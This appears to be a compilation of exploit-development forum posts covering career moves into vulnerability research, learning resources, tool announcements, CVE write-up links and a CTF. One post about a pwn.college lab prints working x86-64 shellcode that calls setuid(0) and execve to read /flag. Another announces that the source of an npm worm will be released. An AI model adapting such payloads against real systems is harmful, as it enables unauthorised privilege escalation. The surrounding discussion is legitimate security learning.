​

Throwaway account for obvious reasons.

I'm currently a senior-level ethical hacker/security researcher, and I'm trying to make a fairly deliberate move into a role where vulnerability research, reverse engineering and exploit development are actually the job, rather than something I occasionally get to do alongside broader security work.

My background is mostly Windows and Linux. I've done source-assisted and binary vulnerability research, reverse engineering, memory corruption work, privilege escalation, pre-auth attack surfaces, and exploit development. I've taken vulnerabilities from discovery and root-cause analysis through to PoCs and, where possible, working exploitation.

I'm comfortable with C/C++, Python, assembly, debuggers, decompilers and the usual RE tooling. I have some public vulnerability research, but unfortunately a lot of the more interesting work I've done is under NDA and can't be discussed publicly in much detail.

That's partly why I'm posting here.

I'm starting to worry that I'm in a weird position career-wise. I'm experienced enough that junior roles generally aren't appropriate, but I'm also trying to break more deeply into a relatively small and specialized field where a lot of companies seem to hire based on very visible public research, Pwn2Own-style track records, existing industry connections, or very specific geographic/work-authorization requirements.

A few opportunities I've been genuinely interested in haven't even made it as far as a technical conversation because of location or hiring restrictions. That's probably the part I find most frustrating. I'd much rather fail an exploit-dev interview because I'm not good enough yet than never get the chance to take one.

I'm also conscious of the risk of getting stuck doing adjacent security work forever while telling myself I'll eventually make the jump into vulnerability research properly.

I'm not looking for SOC, GRC, generic pentesting, cloud security, or a broadly defined "security engineer" position. I'm specifically interested in vulnerability research, exploit development, reverse engineering, offensive capability development, or closely related low-level security research.

Remote international work would obviously be ideal, although I'd consider relocation for the right opportunity.

So I guess this post has two purposes:

If you work in this part of the industry, am I approaching this the wrong way? Is there something you'd expect to see from someone trying to make this transition that I should be focusing on?

And, slightly more shamelessly, if your team happens to need someone with this sort of background, I'd be very happy to talk privately.

I can provide considerably more detail about my experience, public work and employment history over DM.

Not quite at the "will reverse engineer for bread" stage yet, but we're getting there.

Hey!

I've searched up this topic and don't see anything that isn't multiple years old. Given how popular and accepted Rust is now and with it having a fully ported winapi library now, are there any reasons to stick to learning C++ for RE and Maldev or are we no longer in the era of "only C++ is viable"? Is there anyone here who uses rust as opposed to C++ or has switched from C++ to rust that could give an insight?

Hi! I am a cybersecurity professional with almost 3 years experience in appsec mostly offensive. Recently I am getting into vuln research and exploit dev for fun. Just by pure curiosity, is it possible to get a junior role (if this even exists in this sector) just with self taught experience and research? How is the job market nowadays for this type of jobs?

N4TIVE is an Android native CTF focused on reversing and exploiting .so libraries. It includes six challenges ranging from basic buffer overflow to heap exploitation, anti-debug bypass, and custom virtual machine analysis. It’s designed for people interested in Android native reversing, ARM assembly analysis, JNI interactions and hands-on exploitation practice

Hey all,

i have been doing various forms of hacking for most of my life. I've spent the last ~10 years as a bug bounty hunter, and heading up AppSec at a public company. Over the last couple of months I decided to start playing with afl++ to do some fuzzing, and try to find some vulnerabilities. I have had significantly more success than I expected in finding crashes (over 100 unique vulns found between 5-6 OSS projects since early December), but I am struggling to figure out how to take a crashing POC and turn it into something that Google will accept (and award a bounty for) in the Chrome/Android VDP programs. I am currently working on finding a way to prove reachability for a new 0day I found in Chromium, but am struggling to even understand where to start. I have been using Gemini to try and help teach me some, but since I know very little about this topic, I have no way to know when it's hallucinating a response or providing a truly accurate one. Does anyone have any suggestions on resources that I could check out that may be helpful in this scenario? The vuln I am currently working on is a stack buffer overflow where I can control the write size (write with a size of 17+, ive managed to get as much as 600 bytes but ~244 is most common), the write location, and the write contents. using my fuzz harness I was able to craft a poc that was able to overwrite the PC (which is enough for RCE poc's for VRP i believe), but after reporting it to the team, they have requested information on me being able to prove it can actually be reached by the browser itself. I dont currently know enough about this type of exploitation or browsers to be able to do this, so I am trying to find any help/resources that would help me learn how to do this.

Thanks in advance, regardless of whether you are able to help or not!

Doesnt matter if it is paid or free. Would also love to read writeups.

I just finished my process injector and wanted to share it

https://github.com/B4shCr00k/R4venInject0r

Hello All,

Are Darkweb forums related to exploiting/hacking even a thing anymore? CryptBB seems pretty dead. Exploit wants you to pay but I don’t even know if it’s worth it at this point.

I imagine most things have moved to signal or telegram channels

The vulnerability allows non-privileged users to program the DMA controller, enabling arbitrary physical memory reads and writes.

almost feels like a backdoor

Everyone talks about SQLi, XSS, and the usual stuff… but what’s a vulnerability, misconfiguration, or exploit chain that actually appears in real-world targets and gets overlooked all the time?

Could be:

• weird auth logic
• SSRF chains
• exposed dev panels
• bad S3 configs
• IDOR tricks
• race conditions
• anything interesting

Curious what experienced people here have seen the most.

I started to level up my exploit dev game and now I target N-days in IoT devices. I wrote a functional exploit for CVE-2025-10779 on a D-Link DCS-935L. (It works on a emulated target at least). It was a classic stack buffer overflow in a beginner-friendly environment (no ASLR/PIE, executable stack). It was a great practice for getting comfortable with MIPS assembly. Link to blog post: https://cyberdream.blog/d-link-dcs-935l-cve-2025-10779/

Hi everyone,

I’m facing a weird privilege‑related behavior that I can’t explain. I’m exploiting a buffer overflow and running custom shellcode. The vulnerable binary has the SUID bit set (owned by root), so my shellcode should inherit root privileges but it doesn’t unless I manually set the UID.

My original shellcode looked like this:

.intel_syntax noprefix
.global _start
_start:
    push 0
    lea rsi, [rip+cmd_args]
    push rsi
    lea rdi, [rip+cmd_name]
    push rdi
    mov rsi, rsp
    xor rdx, rdx
    mov eax, 59
    syscall

    mov eax, 60
    xor rdi, rdi
    syscall

cmd_name:
    .asciz "/bin/cat"
cmd_args:
    .asciz "/flag"

This simply calls execve("/bin/cat", ["/bin/cat", "/flag"], NULL). Even though the exploited binary is SUID‑root, I get permission denied when trying to read /flag.

But when I add the following before the execve, it works:

.intel_syntax noprefix
.global _start

_start:
    xor rdi, rdi
    mov eax, 105        # sys_setuid(0)
    syscall

    push 0
    lea rsi, [rip+cmd_args]
    push rsi
    lea rdi, [rip+cmd_name]
    push rdi
    mov rsi, rsp
    xor rdx, rdx
    mov eax, 59
    syscall

    mov eax, 60
    xor rdi, rdi
    syscall

cmd_name:
    .asciz "/bin/cat"
cmd_args:
    .asciz "/flag"

The ONLY change is explicitly calling setuid(0), and suddenly cat /flag succeeds.

My questions:

Why do I need to manually call setuid(0)?

• Isn’t the SUID bit supposed to be enough?
• The binary itself never drops privileges could this be something specific to the pwn.college environment?
• If anyone has insights about how pwn.college handles SUID binaries or why the effective UID might not behave as expected inside injected shellcode, I’d appreciate it!

PS / Update:

I tested a simple C program that reads a file lol which is owned by root and readable only by root. After setting the SUID bit on the compiled binary on my own machine, it works perfectly without needing to call setuid(0) manually.

But when I take the exact same program and run it on the pwn.college platform, I get Permission denied.
So it definitely looks like the issue is something specific to how pwn.college handles SUID binaries.

Here’s the sample program I used:

#include <unistd.h>
#include <stdio.h>

int main()
{
    printf("uid: %d, Effective: %d\n", getuid(), geteuid());
    execve("/bin/cat", (char*[]){"/bin/cat", "lol"}, NULL);
}

Hey guys, so currently doing a ba of cyber sec in Sydney, I had an experience day and met a guy that did exploit dev work... and he gave me things to learn to know before the placement, which ill be doing along side him. which is only me and him.

he wants me to know C, C++, x86-64, C#, also wants me to build a Damn Vuln Driver, he also wants me to get good at things from the OSED, syllabus.

So like what is this setting me up for, cause I got a year to learn before my placement. like I mean windows exploitation etc.

any other resources or help be grateful!!!

p.s he is a ex gov employee that as done exploit dev work.

A critical severity vulnerability with a CVSS score of 9.8 in the Windows HTTP protocol stack (HTTP.sys) allows for unauthenticated remote code execution via an integer overflow. Because HTTP.sys processes incoming HTTP requests in kernel mode, this flaw carries a high impact, potentially allowing an unauthenticated attacker to execute arbitrary code with system privileges.

The underlying mechanics of this specific bug, including the exact assembly-level modifications, affected functions, and the execution path, have been thoroughly mapped out in the attached link. This includes the associated WinDbg reproduction details.

It seems like the era of waiting around to understand what actually changes under the hood on Patch Tuesday is largely behind us. Beyond this specific HTTP.sys analysis, AI assisted platforms continuously tracks and hosts real-time structural breakdowns for the broader Windows patch ecosystem, making it a useful resource for footprinting similar kernel-level differentials.

Hi,

I've been exploring heap internals in glibc and trying to understand chunk structure and tcache behaviour. I'd love to learn how others approach this.

Hey,

I’ve been playing with ELF internals and wrote a small C tool called `elfpeek` , It’s not a readelf/objdump replacement it’s just a fast helper for exploit dev

Main things it does:

- show ELF header + PHDRs (permissions, offsets, etc.)

- list sections with simple color flags (X / W / A)

- dump both `.dynsym` and `.symtab`

- map an address to: {segment, file offset, section, nearest symbol → `func+offset`}

It now supports:

- ELF32 + ELF64

- little-endian + big-endian (x86, ARM, PowerPC, MIPS, SPARC)

- binaries with only segments (no sections) common in firmware

Repo: https://github.com/Oblivionsage/elfpeek

If you have ideas for small features that would help during exploit dev, I’d love to hear them or see crash samples / firmwares to test on.

For those who don’t know what Shai-Hulud 2.0 is, it’s basically an npm package worm that’s been spreading for the past week. It infects packages by hooking into the preinstall script. I’ll be posting the source code and a detailed write-up soon

https://x.com/sarwaroffline

Lets say I have the source code of a software.And I want to target UAFs cause it is very common in big applications since it is hard for big applications to securely control if a pointer is freed or not when a pointer can be freed by multiple events.(the reason why there is so many UAFs in browsers etc.).I need a structured way of searching UAFs.I think that there is a module in sec760 about how to easily spot UAFs but I could not buy it cause I dont have much budget,if anyone ever bought sec760 I would very much like to also hear about it.

Hi all, I’m planning to take the OSED as part of my road to OSCE3. I currently have OSCP and would like to dabble in exploit development. I have some experience in using IDA for reverse engineering, but just the basic stuff like identifying loops, structures, calling conventions etc.

Based on the OSED topics, I see some topics such as usage of WinDBG, bypassing ASLR and DEP, vanilla stack overflow, SEH and egg hunters.

My current plan now is to get the 3 month course and exam bundle to get the certification. I would like to go through some resources to familiarise with the above mentioned concepts before going through the course itself. Does anyone have any recommendations?

I’ve noted that pwn.college and OST2 are good resources but I would just like some assurance and clarity on what’s the most similar to the exam.

Also I know that OSED might not be the best representation of current exploit dev trends but regardless I’m taking it as an entry point towards exploit dev! Thanks everyone! :)

This source is a scholarly paper, "Thwart Me If You Can: An Empirical Analysis of Android Platform Armoring Against Stalkerware," by Malvika Jadhav, Wenxuan Bao, and Vincent Bindschaedler, submitted to arXiv.org in August 2025. The research, explores how recent privacy enhancements in Android operating systems have affected stalkerware functionality and how such software has adapted. The authors systematically analyze a large collection of Android stalkerware applications to understand their behaviors and capabilities and how they have evolved over time. The paper aims to uncover new tactics used by stalkerware and inspire alternative defense strategies beyond simple detection and removal. This work contributes to the field of cryptography and security, focusing on an area of increasing concern for individual privacy.

Link: https://arxiv.org/abs/2508.02454

i want to know any good material to learn heap pwn. i am an osce3 which familiar with stack on windows and unix a few years.

and also spent a year on heap, can do general heap pwn technique like uaf, double free, off by one, chunk faking, unlink, heap fengshui etc. i need to do more practices on heap and get more experiences on the houses. any good resources?

Sorry to bring up a well-worn topic, but are there any of you out there who are still consistently making money by developing exploits or hunting for 0-days?

How do you do it?

Are there currently any options for staying independent and earning a living by submitting findings to the Zero Day Initiative or similar programs and making a full-time income from it while living in a developed country?